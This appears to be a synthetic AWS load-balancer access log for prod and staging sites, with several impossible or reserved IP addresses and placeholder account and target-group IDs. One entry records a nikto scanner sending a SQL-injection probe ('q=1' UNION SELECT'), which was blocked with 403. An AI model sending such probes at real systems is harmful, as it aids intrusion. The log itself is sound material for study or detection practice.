staging-alb 135.142.64.171:47442 35.231.35.96:8080 0.100008 0.635648 0.036948 200 200 395 9713 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d94d-e4d9ed90d53948a59cc58bb7" "staging-alb.example.com" "-" 0 2024-11-01T02:23:57.761243Z "forward" "-" "-" "35.231.35.96:8080" "200" "-" "-" -http 2024-11-01T02:23:58.323097Z staging-alb 166.220.21.238:25430 76.64.131.179:80 0.042353 0.366617 0.123959 200 200 380 11938 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d94e-1b67b8556688465e873a2f0f" "staging-alb.example.com" "-" 0 2024-11-01T02:23:58.323097Z "forward" "-" "-" "76.64.131.179:80" "200" "-" "-" -https 2024-11-01T02:23:58.779141Z prod-web-alb 47.170.17.90:48692 10.0.97.44:443 0.037438 0.136579 0.008940 200 200 729 3830 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d94e-4eacbbfdfe804927a9bebfd2" "prod-web-alb.example.com" "-" 5 2024-11-01T02:23:58.779141Z "forward" "-" "-" "10.0.97.44:443" "200" "-" "-" -https 2024-11-01T02:24:00.396794Z prod-api-alb 56.159.14.226:15527 10.0.111.166:443 0.063783 0.174560 0.011513 404 404 396 236 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d950-ea7bb1df7c0e4ed599db914d" "prod-api-alb.example.com" "-" 5 2024-11-01T02:24:00.396794Z "forward" "-" "-" "10.0.111.166:443" "404" "-" "-" -https 2024-11-01T02:24:01.223475Z prod-web-alb 142.97.140.188:41646 10.0.23.17:443 0.081452 0.276329 0.046853 404 404 371 7776 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d951-d13437ca8e424f4cb2abf296" "prod-web-alb.example.com" "-" 10 2024-11-01T02:24:01.223475Z "forward" "-" "-" "10.0.23.17:443" "404" "-" "-" -https 2024-11-01T02:24:02.925160Z prod-api-alb 93.151.146.210:51233 10.0.185.61:443 0.014449 0.347943 0.075431 200 200 964 1568 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d952-463c6f13fcee4ff29f7f430c" "prod-api-alb.example.com" "-" 3 2024-11-01T02:24:02.925160Z "forward" "-" "-" "10.0.185.61:443" "200" "-" "-" -https 2024-11-01T02:24:04.518913Z prod-api-alb 109.63.228.178:21555 10.0.14.200:443 0.003378 0.233901 0.052558 200 200 276 14352 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d954-2a2bcee377274462b0e89582" "-" "-" 4 2024-11-01T02:24:04.518913Z "forward" "-" "-" "10.0.14.200:443" "200" "-" "-" -https 2024-11-01T02:24:06.247688Z prod-web-alb 47.38.236.134:43836 10.0.207.24:443 0.021727 0.207525 0.042237 200 200 53 4437 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d956-4b12837630db425496b7604c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:24:06.247688Z "forward" "-" "-" "10.0.207.24:443" "200" "-" "-" -http 2024-11-01T02:24:07.974915Z staging-alb 72.226.159.109:52780 151.93.206.51:8080 0.041061 0.012810 0.069200 404 404 540 13997 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d957-a1766b01c0c0497dac5dceba" "staging-alb.example.com" "-" 8 2024-11-01T02:24:07.974915Z "forward" "-" "-" "151.93.206.51:8080" "404" "-" "-" -https 2024-11-01T02:24:08.103958Z prod-web-alb 137.255.153.66:59530 10.0.11.147:443 0.048631 0.319136 0.031537 200 200 741 11920 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d958-9a922ae566d045d29e1bad91" "prod-web-alb.example.com" "-" 1 2024-11-01T02:24:08.103958Z "forward" "-" "-" "10.0.11.147:443" "200" "-" "-" -https 2024-11-01T02:24:08.360496Z prod-web-alb 224.37.91.145:60782 10.0.28.203:443 0.060199 0.015059 0.041432 302 302 391 13867 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d958-fae09093629d4432b5e51550" "prod-web-alb.example.com" "-" 0 2024-11-01T02:24:08.360496Z "forward" "-" "-" "10.0.28.203:443" "302" "-" "-" -https 2024-11-01T02:24:10.316279Z prod-web-alb 222.57.5.65:12345 10.0.152.208:443 0.058690 0.102044 0.076692 200 200 343 13430 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d95a-a20abe3ce3344d75b2eda53a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:24:10.316279Z "forward" "-" "-" "10.0.152.208:443" "200" "-" "-" -https 2024-11-01T02:24:11.441773Z prod-web-alb 135.242.183.59:33055 10.0.107.241:443 0.090989 0.320928 0.012194 301 301 15 1427 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d95b-a7c98712053842408d7b5fe7" "prod-web-alb.example.com" "-" 6 2024-11-01T02:24:11.441773Z "forward" "-" "-" "10.0.107.241:443" "301" "-" "-" -https 2024-11-01T02:24:13.267970Z staging-alb 75.109.26.231:43056 186.47.62.92:80 0.041335 0.681407 0.054670 200 200 198 11711 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d95d-8120bbc3de0c4614b97deeae" "staging-alb.example.com" "-" 5 2024-11-01T02:24:13.267970Z "forward" "-" "-" "186.47.62.92:80" "200" "-" "-" -https 2024-11-01T02:24:14.555413Z prod-api-alb 88.125.203.89:59065 10.0.13.61:443 0.010477 0.178637 0.092076 200 200 1 5356 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d95e-894547b9491d4269b141fdfd" "prod-api-alb.example.com" "-" 9 2024-11-01T02:24:14.555413Z "forward" "-" "-" "10.0.13.61:443" "200" "-" "-" -https 2024-11-01T02:24:16.232787Z prod-api-alb 106.193.213.61:12451 10.0.119.99:443 0.001231 0.227264 0.067780 302 302 701 2753 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d960-b806b9828361492bbc9cad44" "prod-api-alb.example.com" "-" 4 2024-11-01T02:24:16.232787Z "forward" "-" "-" "10.0.119.99:443" "302" "-" "-" -http 2024-11-01T02:24:16.706046Z staging-alb 30.54.123.39:30873 205.126.20.247:443 0.022030 0.517847 0.092258 200 200 66 14326 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d960-b4c938f427c4458f9aa073e6" "staging-alb.example.com" "-" 6 2024-11-01T02:24:16.706046Z "forward" "-" "-" "205.126.20.247:443" "200" "-" "-" -https 2024-11-01T02:24:17.835639Z prod-web-alb 120.204.144.203:24395 10.0.210.22:443 0.005422 0.057943 0.008300 302 302 91 12188 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d961-d35250bd671f48808ab691ad" "prod-web-alb.example.com" "-" 7 2024-11-01T02:24:17.835639Z "forward" "-" "-" "10.0.210.22:443" "302" "-" "-" -http 2024-11-01T02:24:19.203210Z staging-alb 223.134.21.233:17939 60.131.241.28:443 0.076032 0.282551 0.053374 200 200 383 12712 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d963-a4eb3d56530f4b4fa47b89f0" "staging-alb.example.com" "-" 3 2024-11-01T02:24:19.203210Z "forward" "-" "-" "60.131.241.28:443" "200" "-" "-" -https 2024-11-01T02:24:19.611364Z prod-api-alb 57.66.146.190:17047 10.0.203.63:443 0.021921 0.045062 0.080131 404 404 54 8646 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d963-deaf623b30f640e7b828bb02" "prod-api-alb.example.com" "-" 7 2024-11-01T02:24:19.611364Z "forward" "-" "-" "10.0.203.63:443" "404" "-" "-" -https 2024-11-01T02:24:21.107593Z staging-alb 136.182.214.81:59887 206.191.222.166:8080 0.131988 0.384807 0.131907 404 404 315 2222 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d965-2e9c4961a3664b159cc73faf" "staging-alb.example.com" "-" 6 2024-11-01T02:24:21.107593Z "forward" "-" "-" "206.191.222.166:8080" "404" "-" "-" -https 2024-11-01T02:24:22.786716Z prod-api-alb 236.25.88.227:21880 10.0.232.146:443 0.025141 0.061248 0.046735 404 404 396 4569 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d966-65f1b1bbbf1b4e0792c80207" "prod-api-alb.example.com" "-" 2 2024-11-01T02:24:22.786716Z "forward" "-" "-" "10.0.232.146:443" "404" "-" "-" -https 2024-11-01T02:24:23.246177Z prod-api-alb 151.138.33.96:14627 10.0.215.128:443 0.097406 0.379103 0.031197 200 200 538 10361 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d967-dd77526a29c04144927e095a" "prod-api-alb.example.com" "-" 3 2024-11-01T02:24:23.246177Z "forward" "-" "-" "10.0.215.128:443" "200" "-" "-" -https 2024-11-01T02:24:23.952654Z staging-alb 10.48.233.216:16403 174.66.90.99:80 0.062290 0.422852 0.098709 404 404 951 838 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d967-ed4393f2c0814e148212a76b" "staging-alb.example.com" "-" 7 2024-11-01T02:24:23.952654Z "forward" "-" "-" "174.66.90.99:80" "404" "-" "-" -https 2024-11-01T02:24:25.154670Z staging-alb 210.202.149.92:61419 252.77.91.50:443 0.015931 0.667387 0.065285 302 302 744 14569 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d969-6ed27f2ed9b04279b005fbf7" "staging-alb.example.com" "-" 2 2024-11-01T02:24:25.154670Z "forward" "-" "-" "252.77.91.50:443" "302" "-" "-" -https 2024-11-01T02:24:26.635033Z staging-alb 236.132.30.169:45660 160.255.149.49:8080 0.134724 0.579398 0.053859 404 404 309 5367 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d96a-7c06b5156cd4472982e2c971" "staging-alb.example.com" "-" 5 2024-11-01T02:24:26.635033Z "forward" "-" "-" "160.255.149.49:8080" "404" "-" "-" -https 2024-11-01T02:24:27.181061Z prod-web-alb 169.96.23.60:33326 10.0.150.101:443 0.050335 0.352505 0.038030 200 200 81 14514 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d96b-99ceea7e0786465aa0fcc5a8" "prod-web-alb.example.com" "-" 1 2024-11-01T02:24:27.181061Z "forward" "-" "-" "10.0.150.101:443" "200" "-" "-" -https 2024-11-01T02:24:28.205953Z prod-api-alb 219.105.90.21:34226 10.0.165.135:443 0.066842 0.429278 0.023698 302 302 818 2717 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d96c-bac7bb92767740f6a60aca66" "prod-api-alb.example.com" "-" 5 2024-11-01T02:24:28.205953Z "forward" "-" "-" "10.0.165.135:443" "302" "-" "-" -https 2024-11-01T02:24:29.907297Z staging-alb 66.240.91.255:58947 42.48.70.231:80 0.106684 0.435984 0.087997 200 200 385 7051 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d96d-796fefffed6d43ebad70b254" "staging-alb.example.com" "-" 3 2024-11-01T02:24:29.907297Z "forward" "-" "-" "42.48.70.231:80" "200" "-" "-" -https 2024-11-01T02:24:30.083651Z prod-api-alb 241.70.78.112:43548 10.0.106.40:443 0.046119 0.323511 0.080944 200 200 235 6280 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d96e-b162ee820ef744309d14d6cf" "prod-api-alb.example.com" "-" 1 2024-11-01T02:24:30.083651Z "forward" "-" "-" "10.0.106.40:443" "200" "-" "-" -https 2024-11-01T02:24:30.578848Z prod-web-alb 6.73.237.85:25531 10.0.65.127:443 0.025165 0.386306 0.012724 200 200 258 5437 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d96e-dc816abd759a4242940e8560" "prod-web-alb.example.com" "-" 3 2024-11-01T02:24:30.578848Z "forward" "-" "-" "10.0.65.127:443" "200" "-" "-" -https 2024-11-01T02:24:32.018873Z prod-api-alb 75.138.38.26:49580 10.0.81.47:443 0.013961 0.026624 0.042756 301 301 863 14470 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d970-711d000664d4408680e4e751" "prod-api-alb.example.com" "-" 1 2024-11-01T02:24:32.018873Z "forward" "-" "-" "10.0.81.47:443" "301" "-" "-" -https 2024-11-01T02:24:34.009363Z prod-api-alb 220.253.239.210:46468 10.0.241.147:443 0.031268 0.212065 0.093665 200 200 236 10239 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d972-f8bb1b9fa7544bb1990c230b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:24:34.009363Z "forward" "-" "-" "10.0.241.147:443" "200" "-" "-" -https 2024-11-01T02:24:34.602248Z prod-api-alb 105.95.3.170:33477 10.0.103.197:443 0.001811 0.420984 0.061965 302 302 339 10550 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d972-e63b5861e1fe43baab44a558" "prod-api-alb.example.com" "-" 8 2024-11-01T02:24:34.602248Z "forward" "-" "-" "10.0.103.197:443" "302" "-" "-" -https 2024-11-01T02:24:35.624601Z prod-api-alb 11.163.65.37:10318 10.0.103.221:443 0.081867 0.109091 0.038713 301 301 939 2483 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d973-5c724765ede1465d931b7ea3" "prod-api-alb.example.com" "-" 0 2024-11-01T02:24:35.624601Z "forward" "-" "-" "10.0.103.221:443" "301" "-" "-" -http 2024-11-01T02:24:36.161148Z staging-alb 133.210.150.255:42173 16.12.121.57:443 0.118121 0.678374 0.007531 302 302 327 6377 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d974-8b60e69b3b8042d380ab5a84" "staging-alb.example.com" "-" 8 2024-11-01T02:24:36.161148Z "forward" "-" "-" "16.12.121.57:443" "302" "-" "-" -https 2024-11-01T02:24:37.091315Z staging-alb 253.49.124.210:60690 186.249.77.83:443 0.111848 0.638034 0.003632 200 200 326 1824 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d975-d2264e2eef6548378854a128" "-" "-" 5 2024-11-01T02:24:37.091315Z "forward" "-" "-" "186.249.77.83:443" "200" "-" "-" -https 2024-11-01T02:24:37.532712Z prod-web-alb 154.166.212.75:42138 10.0.198.81:443 0.024118 0.200949 0.050114 404 404 288 7852 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d975-c011a9df4eee4046912743fd" "prod-web-alb.example.com" "-" 1 2024-11-01T02:24:37.532712Z "forward" "-" "-" "10.0.198.81:443" "404" "-" "-" -https 2024-11-01T02:24:38.731768Z prod-web-alb 189.136.64.31:62138 10.0.65.103:443 0.053748 0.072260 0.026375 302 302 971 8071 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d976-71b8d166aa904e66b6955102" "prod-web-alb.example.com" "-" 9 2024-11-01T02:24:38.731768Z "forward" "-" "-" "10.0.65.103:443" "302" "-" "-" -https 2024-11-01T02:24:40.272945Z prod-api-alb 71.0.165.247:48113 10.0.156.156:443 0.008124 0.400316 0.097203 200 200 639 7939 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d978-ee831bc11b874328b5fbfae2" "prod-api-alb.example.com" "-" 10 2024-11-01T02:24:40.272945Z "forward" "-" "-" "10.0.156.156:443" "200" "-" "-" -https 2024-11-01T02:24:41.977465Z prod-web-alb 128.249.115.248:54311 10.0.4.126:443 0.090028 0.252144 0.067628 404 404 201 12790 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d979-9766ad66b7f24781af7018e8" "prod-web-alb.example.com" "-" 3 2024-11-01T02:24:41.977465Z "forward" "-" "-" "10.0.4.126:443" "404" "-" "-" -https 2024-11-01T02:24:43.695076Z prod-web-alb 147.242.234.152:44810 10.0.67.242:443 0.038466 0.305328 0.088917 404 404 345 6004 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d97b-95a2f1d20aa941a6b8d7646f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:24:43.695076Z "forward" "-" "-" "10.0.67.242:443" "404" "-" "-" -https 2024-11-01T02:24:43.915244Z prod-api-alb 45.155.205.253:28736 10.0.243.163:443 0.061978 0.357254 0.001521 403 403 392 10655 "GET /search?q=1' UNION SELECT HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d97b-c2004fae5d414b5aa5b06c4c" "-" "-" 8 2024-11-01T02:24:43.915244Z "forward" "-" "-" "10.0.243.163:443" "403" "-" "-" -https 2024-11-01T02:24:44.263978Z prod-api-alb 106.179.7.21:13551 10.0.189.166:443 0.027489 0.371375 0.050215 200 200 279 6996 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d97c-cad46670d8804b76aeb86aa6" "prod-api-alb.example.com" "-" 7 2024-11-01T02:24:44.263978Z "forward" "-" "-" "10.0.189.166:443" "200" "-" "-" -https 2024-11-01T02:24:45.373900Z prod-api-alb 30.54.62.113:42017 10.0.124.1:443 0.092063 0.326970 0.044957 200 200 90 12758 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d97d-10c2124510664437b26d48a0" "prod-api-alb.example.com" "-" 0 2024-11-01T02:24:45.373900Z "forward" "-" "-" "10.0.124.1:443" "200" "-" "-" -http 2024-11-01T02:24:46.561668Z staging-alb 45.203.186.173:42243 241.210.243.234:443 0.136164 0.305568 0.086878 200 200 89 7561 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d97e-ce35425794134c679725fb98" "staging-alb.example.com" "-" 9 2024-11-01T02:24:46.561668Z "forward" "-" "-" "241.210.243.234:443" "200" "-" "-" -https 2024-11-01T02:24:48.273262Z prod-web-alb 195.73.88.145:11334 10.0.141.37:443 0.091205 0.274701 0.072194 200 200 307 1491 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 